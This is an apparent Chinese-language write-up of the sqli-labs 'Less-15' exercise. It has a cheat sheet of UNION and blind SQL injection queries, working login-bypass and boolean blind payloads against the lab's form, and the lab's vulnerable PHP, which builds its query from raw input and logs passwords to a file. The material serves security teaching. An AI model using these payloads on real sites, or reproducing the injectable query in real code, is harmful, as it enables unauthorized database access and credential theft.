# 查询库名 SELECT schema_name FROM information_schema.schemata # 查询表名 SELECT table_name FROM information_schema.tables WHERE table_schema='库名' # 查询列名 SELECT column_name FROM information_schema.columns WHERE table_name='表名' AND table_schema='库名' # 取出相应的数据 SELECT col1,col2 FROM `库名`.`表名`
UNION SELECT 联合查询
1 2 3 4 5 6
# 先确定字段数 ORDER BY 1,2,3,...,N # 联合查询,确定页面能显示的位置 UNION SELECT 1,2,3,user(),version(),...,N # 把要查询的 SQL 语句放在相应位置 UNION SELECT 1,2,3,/*放相应的 SQL 语句*/,5
布尔盲注
1 2 3
AND length(database()) > 0; AND substr(database(), 1, 1)='t' AND ascii(substr(database(), 1, 1)) > 0
时间盲注
1 2
# if 函数 AND if(bool, exp1, exp2) # bool 为真,则执行 exp1,为假则执行 exp2
Less-15
手动注入
打开首页如下图
在查看器中找到 form 表单的名称
使用 HackBar 以 POST 方式提交数据,随意输入用户名和密码,可以看出,页面提示登录失败。
1
uname=123&passwd=123&submit=submit
尝试使用万能密码登录,
1
uname=admin' or 1 #&passwd=123&submit=submit
可以看出登录成功。故我们可以利用用户名这块进行 sql 注入。找到注入点后,接下来我们来分析下到底该有哪种注入方式,首先,无论用户是否登录成功,页面均没有可用的数据以及数据库报错显示出来,所以 UNION SELECT 和报错注入显然是不合适的。根据登录成功与否显示的图片不同,故可以使用布尔盲注。
布尔盲注
1
uname=admin' and ascii(mid((select user()), 1, 1))>0 #&passwd=123&submit=submit
//logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'User Name:'.$uname); fwrite($fp,'Password:'.$passwd."\n"); fclose($fp);
// connectivity @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); ?>